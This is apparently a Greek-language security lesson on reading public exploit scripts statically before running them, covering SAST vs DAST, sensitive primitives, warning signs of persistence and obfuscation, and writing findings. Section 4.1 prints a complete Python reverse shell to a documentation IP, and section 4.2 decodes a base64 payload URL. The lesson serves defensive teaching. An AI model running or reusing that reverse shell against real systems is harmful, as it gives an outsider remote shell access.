Ανάλυση επιθετικού κώδικα — Έννοιες
Ένα δημόσιο exploit δεν είναι μια συνταγή. Είναι ένα πρόγραμμα που έγραψε κάποιος άλλος, μερικές φορές για να τεκμηριώσει μια αδυναμία, μερικές φορές για να εγκαταστήσει τη δική του από πάνω. Το να το διαβάζετε χωρίς να το εκτελείτε είναι μια τέχνη. Αυτό το μάθημα θέτει τη μέθοδο, τα σήματα, και τον τρόπο να το μετατρέψετε σε εύρημα.
Το να ανοίξετε ένα script «exploit» στον διερμηνέα ισοδυναμεί με το να δεχτείτε να γίνετε ο
στόχος. Ένα αποθετήριο GitHub με τίτλο PoC CVE-20xx περιέχει τακτικά ένα δεύτερο στάδιο:
δικτυακή ανάκληση, προσθήκη κλειδιού SSH, προγραμματισμένη εργασία. Η ανάγνωση γίνεται σε έναν
επεξεργαστή κειμένου, με less, bat ή Get-Content. Όχι με python exploit.py.
Τι θα ξέρετε να κάνετε μετά από αυτό το μάθημα
- Να διακρίνετε SAST και DAST, και να ξέρετε ποιο να ανοίξετε πρώτο μπροστά σε ένα επιθετικό εργαλείο.
- Να εφαρμόζετε μια στατική ανάγνωση σε τέσσερα βήματα πριν από κάθε εκτέλεση.
- Να ονομάζετε τις ευαίσθητες primitives (
eval,exec,socket,pickle, κλήσεις shell) και τι προδίδουν. - Να ανασυνθέτετε το μοντέλο απειλής ενός script: προνόμιο, έκδοση, δίκτυο, επιμονή.
- Να εντοπίζετε μέσα σε λίγα δευτερόλεπτα τα σήματα συναγερμού: URL ή IP κωδικοποιημένα εκ
των προτέρων, base64, XOR, εγγραφές στο
authorized_keys, στοcrontab, στοRegistry\Run. - Να συντάσσετε ένα εύρημα (απόδειξη, επίπτωση, αποκατάσταση) και να γνωρίζετε το πλαίσιο μιας συντονισμένης αποκάλυψης.
1. SAST εναντίον DAST — δύο ματιές, μία σειρά
Δύο οικογένειες ανάλυσης, δύο αντικείμενα, δύο διαφορετικά ψεύδη.
| Προσέγγιση | Τι εξετάζετε | Τι εκτελείτε | Τι λαμβάνετε |
|---|---|---|---|
| SAST (Static Application Security Testing) | Την πηγή, το bytecode, το script, το αποσυναρμολογημένο δυαδικό | Τίποτα από τον στόχο, τίποτα από το script | Υποψήφια ευρήματα, primitives, μυστικά, νεκρά μονοπάτια |
| DAST (Dynamic Application Security Testing) | Την εφαρμογή που τρέχει | Αιτήματα, μερικές φορές payloads | Επιβεβαιώσεις, συμπεριφορές, διαφορετικά ψευδώς θετικά |
Η SAST απαντά στο: «τι είναι ικανός να κάνει αυτός ο κώδικας;» Η DAST απαντά στο: «τι κάνει πραγματικά αυτή η υπηρεσία όταν την ερεθίσουμε;»
Μπροστά σε ένα επιθετικό εργαλείο (δημόσιο exploit, script αυτοματοποίησης, module Metasploit
που βρέθηκε εκτός πλαισίου), η σειρά δεν είναι διαπραγματεύσιμη: SAST πρώτα. Δεν έχετε ακόμα
το δικαίωμα να ανακαλύψετε «δυναμικά» τι στέλνει το script προς το 203.0.113.7.
Μπροστά σε μια εφαρμογή που ελέγχετε (lab, ανάθεση, αποθετήριο πελάτη), τα δύο συμπληρώνονται. Το Semgrep και το Bandit συντάσσουν τη λίστα των υποψηφίων. Το Burp και οι χειροκίνητες δοκιμές επιβεβαιώνουν τι είναι προσβάσιμο. Ένα εύρημα επιθεώρησης κώδικα στηρίζεται συχνά μόνο στη SAST: η απόδειξη είναι μια γραμμή, όχι ένα screenshot ενός shell.
Όλες οι παραδειγματικές IP είναι εύρη τεκμηρίωσης (RFC 5737), ιδίως το 203.0.113.0/24. Δεν
δρομολογούν προς κάποιο πραγματικό μηχάνημα. Αν ένα script που διαβάζετε δείχνει αλλού — οικιακό
εύρος, VPS, άγνωστο domain — αυτό είναι ήδη ένα σήμα.
2. Γιατί η στατική ανάγνωση προηγείται της εκτέλεσης
Τρεις λόγοι, κανένας δεν είναι θεωρητικός.
Μπορείτε να γίνετε το θύμα. Το αρχείο ονομάζεται exploit.py. Στο πρώτο import, ανοίγει
ένα socket, γράφει ένα κλειδί, κατεβάζει ένα δεύτερο script. Ο τίτλος του αποθετηρίου δεν σας
προστατεύει. Τα πιο διαμοιρασμένα «PoC» είναι επίσης τα πιο αντιγραμμένα, και τα πιο συχνά
επανοπλισμένα.
Μπορείτε να βγείτε εκτός πλαισίου. Το να εκτελέσετε ένα exploit χωρίς να έχετε διαβάσει τον
στόχο, την έκδοση, την προϋπόθεση δικτύου, σημαίνει να επιτίθεστε στα τυφλά. Εκτός lab και εκτός
RoE, αυτό είναι αδίκημα. Ακόμα και σε ανάθεση, ένα script που σαρώνει το 10.0.0.0/8 ενώ το
πεδίο εφαρμογής είναι ένα /28 σας βγάζει εκτός συμβολαίου.
Χάνετε αυτό που επιβιώνει του shell. Πολλοί μαθητές σταματούν στο «αυτό ανοίγει ένα
/bin/sh». Η χρήσιμη ερώτηση έρχεται μετά: παραμένει; Μια γραμμή στο crontab, μια τιμή
στο HKCU\...\Run, ένα κλειδί στο ~/.ssh/authorized_keys αξίζει περισσότερο, τόσο για τον
αμυνόμενο όσο και για την αναφορά, από το ίδιο το shell.
Ο απλός κανόνας: αν δεν μπορώ να εξηγήσω το script σε κάποιον άλλο, δεν έχω το δικαίωμα να το εκτελέσω.
3. Η μέθοδος ανάγνωσης, σε τέσσερα βήματα
Είναι η ίδια πλέγμα για ένα reverse shell δέκα γραμμών και για ένα framework διακοσίων αρχείων.
3.1. Στατικά πρώτα
Ανοίξτε το σε έναν επεξεργαστή κειμένου. Καταγράψτε τα imports, τα συμπεριλαμβανόμενα αρχεία,
τις δικτυακές κλήσεις, τις εγγραφές στον δίσκο. Μην κάνετε compile «για να δείτε». Μην κάνετε
import σε ένα άγνωστο module: στην Python, το απλό import εκτελεί το σώμα του αρχείου.
# Ανάγνωση, όχι εκτέλεση
less exploit.py
bat --paging=never exploit.py
Get-Content .\outil.ps1
strings -n 8 binaire_inconnu | less
3.2. Εντοπισμός των ευαίσθητων primitives
Μια primitive είναι μια κλήση που αλλάζει τον κόσμο: εκτέλεση κώδικα, άνοιγμα δικτύου, εγγραφή σε αρχείο εμπιστοσύνης, απενεργοποίηση μιας άμυνας. Τις αναζητάτε πριν κατανοήσετε τα υπόλοιπα. Ένας πίνακας αρκεί.
| Primitive | Συχνές γλώσσες | Τι επιτρέπει | Ανάγνωση |
|---|---|---|---|
eval, exec | Python, PHP | Εκτέλεση μιας συμβολοσειράς ως κώδικα | Το payload έρχεται συχνά από αλλού (δίκτυο, αρχείο, όρισμα) |
Function, setTimeout(string) | JavaScript | Το ίδιο στον browser ή στο Node | Αποθηκευμένο XSS ή εργαλείο συγκάλυψης |
socket, connect, requests.get | Python, C, Go | Ανάκληση ή λήψη | C2, reverse shell, δεύτερο στάδιο |
subprocess, os.system, Runtime.exec | Python, Java | Shell | Κατασκευασμένη εντολή, συχνά ευάλωτη σε injection |
pickle.loads, yaml.load, unserialize | Python, PHP | Αποσειριοποίηση | Εκτέλεση κώδικα κατά τη φόρτωση |
ctypes, reflection, Native | Python, Java, .NET | Κλήσεις χαμηλού επιπέδου | Παράκαμψη, injection |
os.dup2 | Python, C | Ανακατεύθυνση stdin/stdout/stderr | Κλασικός δείκτης ενός reverse shell |
Δεν χρειάζεται να κατανοήσετε όλο το script για να περικυκλώσετε αυτές τις κλήσεις. Η υπόλοιπη ανάγνωση κρέμεται από αυτές.
3.3. Εντοπισμός του payload
Τρεις ερωτήσεις, με αυτή τη σειρά:
- Τι εγκαθιστά ή αντικαθιστά; Δυαδικό αρχείο, κλειδί, υπηρεσία, μεταβλητή περιβάλλοντος.
- Με ποιον επικοινωνεί; IP, domain, θύρα, πρωτόκολλο, κατεύθυνση (εισερχόμενη / εξερχόμενη).
- Τι διατηρεί; Τίποτα (εφήμερο shell), ή έναν μηχανισμό που επιβιώνει της επανεκκίνησης.
Ένα reverse shell TCP έξι γραμμών συχνά δεν εγκαθιστά τίποτα. Μια «διόρθωση» πενήντα γραμμών
που αγγίζει το authorized_keys εγκαθιστά μια πόρτα. Δεν είναι η ίδια οικογένεια, δεν είναι
το ίδιο εύρημα.
3.4. Ανασύνθεση του μοντέλου απειλής
Ένα script χωρίς μοντέλο απειλής είναι ένα ανέκδοτο. Πρέπει να μπορείτε να συμπληρώσετε αυτόν τον πίνακα πριν καταλήξετε σε συμπέρασμα.
| Ερώτηση | Γιατί μετράει |
|---|---|
| Ποιο προνόμιο πρέπει ήδη να έχετε; | Τοπικός user, αυθεντικοποιημένη web συνεδρία, ανώνυμος απομακρυσμένος: η επίπτωση αλλάζει. |
| Ποια έκδοση, ποιο προϊόν; | Ένα exploit WordPress 4.7 δεν λέει τίποτα για ένα 6.x. |
| Ποιες δικτυακές προϋποθέσεις; | Έξοδος TCP 4444, DNS, SMB, μόνο localhost. |
| Πώς μοιάζει η επιτυχία; | Shell, κλοπή token, εγγραφή αρχείου, άρνηση υπηρεσίας. |
| Τι απομένει μετά; | Τίποτα, ή μια επιμονή που ο πελάτης πρέπει να αφαιρέσει. |
Χωρίς αυτό το τελευταίο κουτί, δεν ξέρετε τι να συστήσετε. Ένα shell χωρίς επιμονή κλείνει. Ένα κλειδί SSH δεν κλείνει.
4. Τα σήματα που πρέπει να εντοπίζονται αμέσως
Δεν θα έχετε πάντα τον χρόνο για μια πλήρη επιθεώρηση. Αυτά τα μοτίβα φαίνονται σε μια γρήγορη
σάρωση, συχνά με grep.
| Σήμα | Πού εμφανίζεται | Ανάγνωση |
|---|---|---|
| URL κωδικοποιημένο εκ των προτέρων προς τρίτο | http://, https://, ftp:// | Λήψη δεύτερου σταδίου, εξαγωγή δεδομένων, «ενημέρωση» |
| Κυριολεκτική IP | Ιδίως εκτός RFC 1918 και εκτός ευρών τεκμηρίωσης | C2, ανάκληση, εσωτερική σάρωση εκτός πλαισίου |
| base64 ή XOR | Μακριές συμβολοσειρές, b64decode, bytes([…]) ^ cle | Κρυφό payload ή URL — προς αποκωδικοποίηση, όχι εκτέλεση |
~/.ssh/authorized_keys | echo, >>, open(..., "a") | Επιμονή SSH: ένα κλειδί του επιτιθέμενου γίνεται νόμιμο login |
crontab / schtasks | @reboot, * * * * * | Χρονική επιμονή |
Registry\Run | HKCU\Software\Microsoft\Windows\CurrentVersion\Run | Επιμονή συνεδρίας Windows |
| Σαμποτάζ άμυνας | Set-MpPreference -DisableRealtimeMonitoring, διακοπή ufw / iptables | Το script προετοιμάζει το έδαφος· η διαπίστωσή του αξίζει ξεχωριστό εύρημα |
# Στατική σάρωση — το αρχείο δεν ερμηνεύεται
grep -nE 'eval|exec\(|socket|subprocess|pickle|b64|base64|xor|authorized_keys|crontab|DisableRealtimeMonitoring' exploit.py
Μια IP στο 203.0.113.0/24 σε αυτό το μάθημα είναι παράδειγμα. Η ίδια μορφή σε ένα script
που κατεβάσατε σήμερα το πρωί είναι μια εξωτερική ανάκληση. Μια IP στο 192.0.2.0/24 ή στο
198.51.100.0/24 επίσης (RFC 5737). Μια IP στο 8.8.8.8 δεν είναι C2, είναι συνήθως ένας
resolver. Μια IP σε 185.x ή 45.x οικιακή / VPS αξίζει να ανοίξετε whois πριν συνεχίσετε.
4.1. Σχολιασμένο παράδειγμα — reverse shell σε Python
Το παρακάτω απόσπασμα είναι παιδαγωγικό. Δεν εκτελείται σε αυτήν τη σελίδα, και δεν το εκτελείτε.
# ΝΑ ΜΗΝ ΕΚΤΕΛΕΣΤΕΙ — παιδαγωγική επισήμανση.
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # socket TCP
s.connect(("203.0.113.7", 4444)) # εξωτερική ανάκληση κωδικοποιημένη εκ των προτέρων
os.dup2(s.fileno(), 0) # ανακατεύθυνση stdin
os.dup2(s.fileno(), 1) # ανακατεύθυνση stdout
os.dup2(s.fileno(), 2) # ανακατεύθυνση stderr
subprocess.call(["/bin/sh", "-i"]) # διαδραστικό shell
Ανάγνωση, γραμμή προς γραμμή:
| Γραμμή | Primitive | Τι κάνει | Τι δεν κάνει |
|---|---|---|---|
socket(...) | Δίκτυο | Δημιουργεί έναν TCP descriptor | Δεν ακούει: είναι ένας client |
connect(("203.0.113.7", 4444)) | Ανάκληση | Συνδέεται σε μια IP και μια θύρα κωδικοποιημένες εκ των προτέρων | Καμία ανάλυση DNS, καμία κρυπτογράφηση |
os.dup2(..., 0/1/2) | Ανακατεύθυνση | Το shell θα μιλήσει μέσα στο socket | Καμία αυθεντικοποίηση |
subprocess.call(["/bin/sh", "-i"]) | Εκτέλεση | Διαδραστικό shell | Καμία επιμονή, καμία συγκάλυψη |
Μοντέλο απειλής σε μία πρόταση: εξερχόμενο reverse shell TCP, προϋπόθεση = δυνατότητα εκτέλεσης Python στο μηχάνημα, επιτυχία = απομακρυσμένο shell, τι απομένει = τίποτα (εφήμερη διεργασία). Πιθανός εντοπισμός: κανόνας ασυνήθιστης εξόδου προς τη θύρα 4444, ή απλή ανάγνωση της πηγής.
Αυτή είναι η πιο ευανάγνωστη περίπτωση. Η επόμενη επίδειξη προσθέτει ένα script bash που, αυτό, διατηρείται, και εργαλεία που βρίσκουν μόνα τους τα ίδια μοτίβα σε μια εφαρμογή.
4.2. base64 και XOR — το να αποκωδικοποιείς δεν σημαίνει να εκτελείς
Μια αδιαφανής συμβολοσειρά δεν είναι επιχείρημα για «να δοκιμάσω το script». Είναι επιχείρημα για να την αποκωδικοποιήσετε σε ένα σημειωματάριο.
# Απομονωμένη αποκωδικοποίηση: παίρνουμε κείμενο, δεν το περνάμε σε διερμηνέα
printf '%s' 'aHR0cHM6Ly8yMDMuMC4xMTMuNy9vdXRpbHMvbWFqLnNo' | base64 -d
# → https://203.0.113.7/outils/maj.sh
# Παιδαγωγικό XOR: το κλειδί 0x13 είναι μέσα στο script, ορατό
chiffre = bytes.fromhex("2123203d233d2222203d24")
clair = bytes(b ^ 0x13 for b in chiffre)
# clair == b'203.0.113.7' — να σημειωθεί, όχι να επικοινωνήσετε με αυτό
Το αποτέλεσμα της αποκωδικοποίησης επανεντάσσεται στο πλέγμα: URL τρίτου, IP, εντολή. Το
καταχωρείτε στο μοντέλο απειλής. Δεν το κάνετε curl, δεν το κάνετε bash.
5. Τι αλλάζουν τα εργαλεία — και τι δεν αλλάζουν
Τα Semgrep, Bandit, Gitleaks, ripgrep: είναι επιταχυντές ανάγνωσης, όχι υποκατάστατα.
| Εργαλείο | Δύναμη | Όριο |
|---|---|---|
| Semgrep | Κανόνες πολλαπλών γλωσσών, μοτίβα (SQLi, injections, secrets) | Απούσα κανόνας = τρύπα· ψευδώς θετικά σε νεκρό κώδικα |
| Bandit | Εξειδικευμένο στην Python, σταθερά IDs (B301, B608) | Αγνοεί το PHP, το PS1, το bash εκτός Python |
| Gitleaks | Μυστικά κωδικοποιημένα εκ των προτέρων, κλειδιά AWS, tokens | Δεν κατανοεί μια primitive eval |
grep / rg | Εσείς επιλέγετε το μοτίβο | Βρίσκετε μόνο ό,τι ξέρετε να ονομάσετε |
Ένα εργαλείο που δεν λέει τίποτα δεν αποδεικνύει την απουσία payload. Ένα εργαλείο που
φωνάζει για ένα eval πάνω σε μια σταθερή συμβολοσειρά σε ένα unit test δεν αποδεικνύει RCE.
Παραμένετε ο αναγνώστης. Η επίδειξη δείχνει την πραγματική έξοδο· το εργαστήριο σας κάνει να
αποφασίσετε.
Η SAST υπερεκτιμά (ένα execute πάνω σε μια σταθερά) και υποεκτιμά (μια primitive κρυμμένη
πίσω από δύο συναρτήσεις δικές σας). Ένα εύρημα στηρίζεται στη γραμμή που διαβάστηκε, όχι μόνο
στο αναγνωριστικό Bandit. Αντιστρόφως, «το Bandit δεν είπε τίποτα» δεν είναι συμπέρασμα ελέγχου.
6. Τεκμηρίωση όπως σε ένα εύρημα
Το να διαβάζετε χρησιμεύει μόνο αν βγαίνει στην αναφορά. Ένα επιθετικό εργαλείο, ή μια αδυναμία που βρέθηκε στην πηγή, τεκμηριώνεται με τα ίδια τρία μπλοκ όπως το module αναφοράς.
- Απόδειξη — αρχείο, γραμμή, απόσπασμα, αναγνωριστικό εργαλείου. Όχι «το script φαίνεται επικίνδυνο».
- Επίπτωση — ποιος μπορεί τι, με ποια προϋπόθεση. Ένα
pickle.loadsσε μια ανώνυμη διαδρομή δεν έχει την ίδια επίπτωση με έναmd5σε έναν εσωτερικό κωδικό πρόσβασης. - Αποκατάσταση — η διόρθωση, ή η αφαίρεση της επιμονής, ή ο κανόνας εντοπισμού. Μια πρόταση που μπορεί να εφαρμοστεί.
Προσθέστε, όταν πρόκειται για ένα εργαλείο και όχι μια εφαρμογή: τη σύσταση να μην το
εκτελέσετε, το μοντέλο απειλής, και τι μπορεί ήδη να μπλοκάρει το SOC (έξοδος 4444, εγγραφή
authorized_keys).
Είναι το ίδιο αντανακλαστικό όπως για μια SQLi: ο αναγνώστης της αναφοράς πρέπει να μπορεί να επαληθεύσει χωρίς να επανεκκινήσει την επίθεση. Εδώ, επαληθεύει ανοίγοντας το αρχείο.
7. Δεοντολογία — η δημοσίευση δεν είναι αθώα
Η δημοσίευση ενός λειτουργικού exploit — ακόμα και «για την επιστήμη» — δεσμεύει σε τρία καθήκοντα. Ο οδηγός της ενότητας τα θέτει· ισχύουν και εκτός σχολής.
- Περίοδος συντονισμένης αποκάλυψης με τον εκδότη. Ο ερευνητής ειδοποιεί, ο εκδότης διορθώνει, και μετά βγαίνει η λεπτομέρεια. Οι συνηθισμένες προθεσμίες κινούνται γύρω στις 90 ημέρες· το συμβόλαιο ή η πολιτική του παρόχου υπερισχύει.
- Τεκμηριωμένη αποκατάσταση. Ένα PoC χωρίς διόρθωση, χωρίς διορθωμένη έκδοση, χωρίς μέτρο εντοπισμού, είναι ένα όπλο που παραδίδεται χωρίς οδηγίες. Το εύρημά σας πρέπει να φέρει τη θεραπεία.
- Πλαίσιο ευθύνης απέναντι στους χρήστες. Το να αντιγράψετε ένα exploit σε ένα δημόσιο
αποθετήριο «για τους μαθητές» χωρίς να το αφοπλίσετε (IP τεκμηρίωσης,
exitστην αρχή, πλαίσιο να μην εκτελεστεί) σας κάνει διανομέα.
Αυτό το μάθημα δείχνει σχολιασμένα αποσπάσματα, IP από RFC 5737, σκόπιμα ευάλωτα αποθετήρια που εσείς δημιουργείτε τοπικά. Δεν σας ζητά ποτέ να ανεβάσετε ένα οπλισμένο exploit, ούτε να στοχεύσετε ένα σύστημα εκτός lab.
8. Οι συγχύσεις που κοστίζουν τον περισσότερο χρόνο
- «Το εκτελώ, θα δω.» Θα δείτε κυρίως το δεύτερο στάδιο. Η ανάγνωση είναι ο έλεγχος.
- «SAST = DAST χωρίς τα πακέτα.» Όχι. Η SAST δεν επιβεβαιώνει ότι μια διαδρομή είναι προσβάσιμη. Η DAST δεν διαβάζει μια επιμονή που δεν έχει ακόμα ενεργοποιηθεί.
- «Καμία συγκάλυψη, άρα δεν είναι επικίνδυνο.» Το reverse shell της ενότητας 4 δεν έχει καμία συγκάλυψη. Είναι απόλυτα επικίνδυνο αν εκτελεστεί.
- «Είναι εργαλείο διαχείρισης, άρα είναι ασφαλές.» Ένα script bash που «ενημερώνει τον στόλο»
και ξαναγράφει το
authorized_keysείναι εργαλείο διαχείρισης και επιμονή. Το όνομα του αρχείου δεν αποφασίζει. - «Το Gitleaks βρήκε ένα κλειδί παραδείγματος, άρα όλα είναι κόκκινα.» Το
AKIAIOSFODNN7EXAMPLEείναι το κλειδί της τεκμηρίωσης της AWS. Χαρακτηρίζετε: παράδειγμα, ανακληθέν, ή πραγματικό μυστικό. Η αναφορά δεν αραιώνει τις πραγματικές διαρροές.
Τι πρέπει να θυμάστε
Η στατική ανάγνωση είναι ο μοναδικός έλεγχος που προηγείται της εκτέλεσης. Η SAST και η DAST δεν
αντικαθιστούν η μία την άλλη: η μία διαβάζει το δυνατό, η άλλη το πραγματικό. Αναζητάτε πρώτα τις
primitives (eval, socket, shell, αποσειριοποίηση), έπειτα το payload, έπειτα το μοντέλο
απειλής. Τα σήματα (URL/IP κωδικοποιημένα εκ των προτέρων, base64, XOR, authorized_keys,
crontab, Registry\Run) σαρώνονται σε μία εντολή. Ένα εργαλείο επιταχύνει· δεν υπογράφει το
εύρημα. Η δημοσίευση ενός λειτουργικού exploit χωρίς συντονισμένη προθεσμία, χωρίς θεραπεία και
χωρίς πλαίσιο, βγαίνει εκτός αυτής της τέχνης.
Επόμενο μάθημα: σχολιάζουμε ένα reverse shell και ένα script bash χωρίς να τα εκτελέσουμε, και έπειτα διαβάζουμε την έξοδο των Semgrep, Bandit και Gitleaks σε μια εφαρμογή Flask.